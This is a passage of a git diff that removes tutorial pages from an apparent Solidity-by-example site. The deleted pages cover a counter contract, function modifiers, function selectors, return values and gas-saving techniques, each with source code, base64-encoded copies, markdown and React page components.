- next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/first-app/Counter.sol b/src/pages/first-app/Counter.sol deleted file mode 100644 index 358f21cb8..000000000 --- a/src/pages/first-app/Counter.sol +++ /dev/null @@ -1,22 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Counter { - uint public count; - - // Function to get the current count - function get() public view returns (uint) { - return count; - } - - // Function to increment count by 1 - function inc() public { - count += 1; - } - - // Function to decrement count by 1 - function dec() public { - // This function will fail if count = 0 - count -= 1; - } -} diff --git a/src/pages/first-app/index.html.ts b/src/pages/first-app/index.html.ts deleted file mode 100644 index 456d4c57e..000000000 --- a/src/pages/first-app/index.html.ts +++ /dev/null @@ -1,47 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "First Application" -export const description = "Example of smart contract in Solidity" - -export const keywords = [ - "contract", - "contracts", - "app", - "first", - "application", - "counter", -] - -export const codes = [ - { - fileName: "Counter.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludCBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo=", - }, -] - -const html = `

Here is a simple contract that you can get, increment and decrement the count store in this contract.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Counter {
-    uint public count;
-
-    // Function to get the current count
-    function get() public view returns (uint) {
-        return count;
-    }
-
-    // Function to increment count by 1
-    function inc() public {
-        count += 1;
-    }
-
-    // Function to decrement count by 1
-    function dec() public {
-        // This function will fail if count = 0
-        count -= 1;
-    }
-}
-
` - -export default html diff --git a/src/pages/first-app/index.md b/src/pages/first-app/index.md deleted file mode 100644 index f997d90ed..000000000 --- a/src/pages/first-app/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: First Application -version: 0.8.20 -description: Example of smart contract in Solidity -keywords: [contract, contracts, app, first, application, counter] ---- - -Here is a simple contract that you can get, increment and decrement the count store in this contract. - -```solidity -{{{Counter}}} -``` diff --git a/src/pages/first-app/index.tsx b/src/pages/first-app/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/first-app/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/function-modifier/FunctionModifier.sol b/src/pages/function-modifier/FunctionModifier.sol deleted file mode 100644 index de1779904..000000000 --- a/src/pages/function-modifier/FunctionModifier.sol +++ /dev/null @@ -1,55 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract FunctionModifier { - // We will use these variables to demonstrate how to use - // modifiers. - address public owner; - uint public x = 10; - bool public locked; - - constructor() { - // Set the transaction sender as the owner of the contract. - owner = msg.sender; - } - - // Modifier to check that the caller is the owner of - // the contract. - modifier onlyOwner() { - require(msg.sender == owner, "Not owner"); - // Underscore is a special character only used inside - // a function modifier and it tells Solidity to - // execute the rest of the code. - _; - } - - // Modifiers can take inputs. This modifier checks that the - // address passed in is not the zero address. - modifier validAddress(address _addr) { - require(_addr != address(0), "Not valid address"); - _; - } - - function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) { - owner = _newOwner; - } - - // Modifiers can be called before and / or after a function. - // This modifier prevents a function from being called while - // it is still executing. - modifier noReentrancy() { - require(!locked, "No reentrancy"); - - locked = true; - _; - locked = false; - } - - function decrement(uint i) public noReentrancy { - x -= i; - - if (i > 1) { - decrement(i - 1); - } - } -} diff --git a/src/pages/function-modifier/index.html.ts b/src/pages/function-modifier/index.html.ts deleted file mode 100644 index 9f7f5f9fc..000000000 --- a/src/pages/function-modifier/index.html.ts +++ /dev/null @@ -1,79 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Function Modifier" -export const description = "Example of how to write function modifier in Solidity" - -export const keywords = ["function", "functions", "modifier", "modifiers", "_"] - -export const codes = [ - { - fileName: "FunctionModifier.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludCBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKSBwdWJsaWMgb25seU93bmVyIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpIHsKICAgICAgICBvd25lciA9IF9uZXdPd25lcjsKICAgIH0KCiAgICAvLyBNb2RpZmllcnMgY2FuIGJlIGNhbGxlZCBiZWZvcmUgYW5kIC8gb3IgYWZ0ZXIgYSBmdW5jdGlvbi4KICAgIC8vIFRoaXMgbW9kaWZpZXIgcHJldmVudHMgYSBmdW5jdGlvbiBmcm9tIGJlaW5nIGNhbGxlZCB3aGlsZQogICAgLy8gaXQgaXMgc3RpbGwgZXhlY3V0aW5nLgogICAgbW9kaWZpZXIgbm9SZWVudHJhbmN5KCkgewogICAgICAgIHJlcXVpcmUoIWxvY2tlZCwgIk5vIHJlZW50cmFuY3kiKTsKCiAgICAgICAgbG9ja2VkID0gdHJ1ZTsKICAgICAgICBfOwogICAgICAgIGxvY2tlZCA9IGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlbWVudCh1aW50IGkpIHB1YmxpYyBub1JlZW50cmFuY3kgewogICAgICAgIHggLT0gaTsKCiAgICAgICAgaWYgKGkgPiAxKSB7CiAgICAgICAgICAgIGRlY3JlbWVudChpIC0gMSk7CiAgICAgICAgfQogICAgfQp9Cg==", - }, -] - -const html = `

Modifiers are code that can be run before and / or after a function call.

-

Modifiers can be used to:

-
    -
  • Restrict access
  • -
  • Validate inputs
  • -
  • Guard against reentrancy hack
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract FunctionModifier {
-    // We will use these variables to demonstrate how to use
-    // modifiers.
-    address public owner;
-    uint public x = 10;
-    bool public locked;
-
-    constructor() {
-        // Set the transaction sender as the owner of the contract.
-        owner = msg.sender;
-    }
-
-    // Modifier to check that the caller is the owner of
-    // the contract.
-    modifier onlyOwner() {
-        require(msg.sender == owner, "Not owner");
-        // Underscore is a special character only used inside
-        // a function modifier and it tells Solidity to
-        // execute the rest of the code.
-        _;
-    }
-
-    // Modifiers can take inputs. This modifier checks that the
-    // address passed in is not the zero address.
-    modifier validAddress(address _addr) {
-        require(_addr != address(0), "Not valid address");
-        _;
-    }
-
-    function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) {
-        owner = _newOwner;
-    }
-
-    // Modifiers can be called before and / or after a function.
-    // This modifier prevents a function from being called while
-    // it is still executing.
-    modifier noReentrancy() {
-        require(!locked, "No reentrancy");
-
-        locked = true;
-        _;
-        locked = false;
-    }
-
-    function decrement(uint i) public noReentrancy {
-        x -= i;
-
-        if (i > 1) {
-            decrement(i - 1);
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/function-modifier/index.md b/src/pages/function-modifier/index.md deleted file mode 100644 index 6abfbe0d4..000000000 --- a/src/pages/function-modifier/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Function Modifier -version: 0.8.20 -description: Example of how to write function modifier in Solidity -keywords: [function, functions, modifier, modifiers, _] ---- - -Modifiers are code that can be run before and / or after a function call. - -Modifiers can be used to: - -- Restrict access -- Validate inputs -- Guard against reentrancy hack - -```solidity -{{{FunctionModifier}}} -``` diff --git a/src/pages/function-modifier/index.tsx b/src/pages/function-modifier/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/function-modifier/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/function-selector/FunctionSelector.sol b/src/pages/function-selector/FunctionSelector.sol deleted file mode 100644 index 5089ceac4..000000000 --- a/src/pages/function-selector/FunctionSelector.sol +++ /dev/null @@ -1,14 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract FunctionSelector { - /* - "transfer(address,uint256)" - 0xa9059cbb - "transferFrom(address,address,uint256)" - 0x23b872dd - */ - function getSelector(string calldata _func) external pure returns (bytes4) { - return bytes4(keccak256(bytes(_func))); - } -} diff --git a/src/pages/function-selector/index.html.ts b/src/pages/function-selector/index.html.ts deleted file mode 100644 index 43c42f168..000000000 --- a/src/pages/function-selector/index.html.ts +++ /dev/null @@ -1,38 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Function Selector" -export const description = "Example of how function selectors are computed" - -export const keywords = ["function", "functions", "selector", "selectors"] - -export const codes = [ - { - fileName: "FunctionSelector.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzNCkgewogICAgICAgIHJldHVybiBieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpOwogICAgfQp9Cg==", - }, -] - -const html = `

When a function is called, the first 4 bytes of calldata specifies which function to call.

-

This 4 bytes is called a function selector.

-

Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

-
addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
-

The first 4 bytes returned from abi.encodeWithSignature(....) is the function selector.

-

Perhaps you can save a tiny amount of gas if you precompute and inline the function selector in your code?

-

Here is how the function selector is computed.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract FunctionSelector {
-    /*
-    "transfer(address,uint256)"
-    0xa9059cbb
-    "transferFrom(address,address,uint256)"
-    0x23b872dd
-    */
-    function getSelector(string calldata _func) external pure returns (bytes4) {
-        return bytes4(keccak256(bytes(_func)));
-    }
-}
-
` - -export default html diff --git a/src/pages/function-selector/index.md b/src/pages/function-selector/index.md deleted file mode 100644 index b328995da..000000000 --- a/src/pages/function-selector/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Function Selector -version: 0.8.20 -description: Example of how function selectors are computed -keywords: [function, functions, selector, selectors] ---- - -When a function is called, the first 4 bytes of `calldata` specifies which function to call. - -This 4 bytes is called a function selector. - -Take for example, this code below. It uses `call` to execute `transfer` on a contract at the address `addr`. - -```solidity -addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123)) -``` - -The first 4 bytes returned from `abi.encodeWithSignature(....)` is the function selector. - -Perhaps you can save a tiny amount of gas if you precompute and inline the function selector in your code? - -Here is how the function selector is computed. - -```solidity -{{{FunctionSelector}}} -``` diff --git a/src/pages/function-selector/index.tsx b/src/pages/function-selector/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/function-selector/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/function/Function.sol b/src/pages/function/Function.sol deleted file mode 100644 index 0bf3b96d7..000000000 --- a/src/pages/function/Function.sol +++ /dev/null @@ -1,70 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Function { - // Functions can return multiple values. - function returnMany() public pure returns (uint, bool, uint) { - return (1, true, 2); - } - - // Return values can be named. - function named() public pure returns (uint x, bool b, uint y) { - return (1, true, 2); - } - - // Return values can be assigned to their name. - // In this case the return statement can be omitted. - function assigned() public pure returns (uint x, bool b, uint y) { - x = 1; - b = true; - y = 2; - } - - // Use destructuring assignment when calling another - // function that returns multiple values. - function destructuringAssignments() - public - pure - returns (uint, bool, uint, uint, uint) - { - (uint i, bool b, uint j) = returnMany(); - - // Values can be left out. - (uint x, , uint y) = (4, 5, 6); - - return (i, b, j, x, y); - } - - // Cannot use map for either input or output - - // Can use array for input - function arrayInput(uint[] memory _arr) public {} - - // Can use array for output - uint[] public arr; - - function arrayOutput() public view returns (uint[] memory) { - return arr; - } -} - -// Call function with key-value inputs -contract XYZ { - function someFuncWithManyInputs( - uint x, - uint y, - uint z, - address a, - bool b, - string memory c - ) public pure returns (uint) {} - - function callFunc() external pure returns (uint) { - return someFuncWithManyInputs(1, 2, 3, address(0), true, "c"); - } - - function callFuncWithKeyValue() external pure returns (uint) { - return - someFuncWithManyInputs({a: address(0), b: true, c: "c", x: 1, y: 2, z: 3}); - } -} diff --git a/src/pages/function/index.html.ts b/src/pages/function/index.html.ts deleted file mode 100644 index 58bd44a75..000000000 --- a/src/pages/function/index.html.ts +++ /dev/null @@ -1,89 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Function" -export const description = "Example of how to write functions in Solidity" - -export const keywords = ["function", "functions"] - -export const codes = [ - { - fileName: "Function.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50LCBib29sLCB1aW50KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB4LCBib29sIGIsIHVpbnQgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB4LCBib29sIGIsIHVpbnQgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50LCBib29sLCB1aW50LCB1aW50LCB1aW50KQogICAgewogICAgICAgICh1aW50IGksIGJvb2wgYiwgdWludCBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludCB4LCAsIHVpbnQgeSkgPSAoNCwgNSwgNik7CgogICAgICAgIHJldHVybiAoaSwgYiwgaiwgeCwgeSk7CiAgICB9CgogICAgLy8gQ2Fubm90IHVzZSBtYXAgZm9yIGVpdGhlciBpbnB1dCBvciBvdXRwdXQKCiAgICAvLyBDYW4gdXNlIGFycmF5IGZvciBpbnB1dAogICAgZnVuY3Rpb24gYXJyYXlJbnB1dCh1aW50W10gbWVtb3J5IF9hcnIpIHB1YmxpYyB7fQoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIG91dHB1dAogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gYXJyYXlPdXRwdXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50W10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KfQoKLy8gQ2FsbCBmdW5jdGlvbiB3aXRoIGtleS12YWx1ZSBpbnB1dHMKY29udHJhY3QgWFlaIHsKICAgIGZ1bmN0aW9uIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnQgeSwKICAgICAgICB1aW50IHosCiAgICAgICAgYWRkcmVzcyBhLAogICAgICAgIGJvb2wgYiwKICAgICAgICBzdHJpbmcgbWVtb3J5IGMKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCkge30KCiAgICBmdW5jdGlvbiBjYWxsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKDEsIDIsIDMsIGFkZHJlc3MoMCksIHRydWUsICJjIik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsbEZ1bmNXaXRoS2V5VmFsdWUoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgc29tZUZ1bmNXaXRoTWFueUlucHV0cyh7YTogYWRkcmVzcygwKSwgYjogdHJ1ZSwgYzogImMiLCB4OiAxLCB5OiAyLCB6OiAzfSk7CiAgICB9Cn0K", - }, -] - -const html = `

There are several ways to return outputs from a function.

-

Public functions cannot accept certain data types as inputs or outputs

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Function {
-    // Functions can return multiple values.
-    function returnMany() public pure returns (uint, bool, uint) {
-        return (1, true, 2);
-    }
-
-    // Return values can be named.
-    function named() public pure returns (uint x, bool b, uint y) {
-        return (1, true, 2);
-    }
-
-    // Return values can be assigned to their name.
-    // In this case the return statement can be omitted.
-    function assigned() public pure returns (uint x, bool b, uint y) {
-        x = 1;
-        b = true;
-        y = 2;
-    }
-
-    // Use destructuring assignment when calling another
-    // function that returns multiple values.
-    function destructuringAssignments()
-        public
-        pure
-        returns (uint, bool, uint, uint, uint)
-    {
-        (uint i, bool b, uint j) = returnMany();
-
-        // Values can be left out.
-        (uint x, , uint y) = (4, 5, 6);
-
-        return (i, b, j, x, y);
-    }
-
-    // Cannot use map for either input or output
-
-    // Can use array for input
-    function arrayInput(uint[] memory _arr) public {}
-
-    // Can use array for output
-    uint[] public arr;
-
-    function arrayOutput() public view returns (uint[] memory) {
-        return arr;
-    }
-}
-
-// Call function with key-value inputs
-contract XYZ {
-    function someFuncWithManyInputs(
-        uint x,
-        uint y,
-        uint z,
-        address a,
-        bool b,
-        string memory c
-    ) public pure returns (uint) {}
-
-    function callFunc() external pure returns (uint) {
-        return someFuncWithManyInputs(1, 2, 3, address(0), true, "c");
-    }
-
-    function callFuncWithKeyValue() external pure returns (uint) {
-        return
-            someFuncWithManyInputs({a: address(0), b: true, c: "c", x: 1, y: 2, z: 3});
-    }
-}
-
` - -export default html diff --git a/src/pages/function/index.md b/src/pages/function/index.md deleted file mode 100644 index 4c40bfbd1..000000000 --- a/src/pages/function/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Function -version: 0.8.20 -description: Example of how to write functions in Solidity -keywords: [function, functions] ---- - -There are several ways to return outputs from a function. - -Public functions cannot accept certain data types as inputs or outputs - -```solidity -{{{Function}}} -``` diff --git a/src/pages/function/index.tsx b/src/pages/function/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/function/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/gas-golf/GasGolf.sol b/src/pages/gas-golf/GasGolf.sol deleted file mode 100644 index ca1b5b40f..000000000 --- a/src/pages/gas-golf/GasGolf.sol +++ /dev/null @@ -1,46 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// gas golf -contract GasGolf { - // start - 50908 gas - // use calldata - 49163 gas - // load state variables to memory - 48952 gas - // short circuit - 48634 gas - // loop increments - 48244 gas - // cache array length - 48209 gas - // load array elements to memory - 48047 gas - // uncheck i overflow/underflow - 47309 gas - - uint public total; - - // start - not gas optimized - // function sumIfEvenAndLessThan99(uint[] memory nums) external { - // for (uint i = 0; i < nums.length; i += 1) { - // bool isEven = nums[i] % 2 == 0; - // bool isLessThan99 = nums[i] < 99; - // if (isEven && isLessThan99) { - // total += nums[i]; - // } - // } - // } - - // gas optimized - // [1, 2, 3, 4, 5, 100] - function sumIfEvenAndLessThan99(uint[] calldata nums) external { - uint _total = total; - uint len = nums.length; - - for (uint i = 0; i < len; ) { - uint num = nums[i]; - if (num % 2 == 0 && num < 99) { - _total += num; - } - unchecked { - ++i; - } - } - - total = _total; - } -} diff --git a/src/pages/gas-golf/index.html.ts b/src/pages/gas-golf/index.html.ts deleted file mode 100644 index 285bfbde5..000000000 --- a/src/pages/gas-golf/index.html.ts +++ /dev/null @@ -1,71 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Gas Saving Techniques" -export const description = "Some gas saving techniques" - -export const keywords = ["gas", "golf"] - -export const codes = [ - { - fileName: "GasGolf.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludFtdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludCBpID0gMDsgaSA8IGxlbjsgKSB7CiAgICAgICAgICAgIHVpbnQgbnVtID0gbnVtc1tpXTsKICAgICAgICAgICAgaWYgKG51bSAlIDIgPT0gMCAmJiBudW0gPCA5OSkgewogICAgICAgICAgICAgICAgX3RvdGFsICs9IG51bTsKICAgICAgICAgICAgfQogICAgICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICAgICAgKytpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICB0b3RhbCA9IF90b3RhbDsKICAgIH0KfQo=", - }, -] - -const html = `

Some gas saving techniques.

-
    -
  • Replacing memory with calldata
  • -
  • Loading state variable to memory
  • -
  • Replace for loop i++ with ++i
  • -
  • Caching array elements
  • -
  • Short circuit
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// gas golf
-contract GasGolf {
-    // start - 50908 gas
-    // use calldata - 49163 gas
-    // load state variables to memory - 48952 gas
-    // short circuit - 48634 gas
-    // loop increments - 48244 gas
-    // cache array length - 48209 gas
-    // load array elements to memory - 48047 gas
-    // uncheck i overflow/underflow - 47309 gas
-
-    uint public total;
-
-    // start - not gas optimized
-    // function sumIfEvenAndLessThan99(uint[] memory nums) external {
-    //     for (uint i = 0; i < nums.length; i += 1) {
-    //         bool isEven = nums[i] % 2 == 0;
-    //         bool isLessThan99 = nums[i] < 99;
-    //         if (isEven && isLessThan99) {
-    //             total += nums[i];
-    //         }
-    //     }
-    // }
-
-    // gas optimized
-    // [1, 2, 3, 4, 5, 100]
-    function sumIfEvenAndLessThan99(uint[] calldata nums) external {
-        uint _total = total;
-        uint len = nums.length;
-
-        for (uint i = 0; i < len; ) {
-            uint num = nums[i];
-            if (num % 2 == 0 && num < 99) {
-                _total += num;
-            }
-            unchecked {
-                ++i;
-            }
-        }
-
-        total = _total;
-    }
-}
-
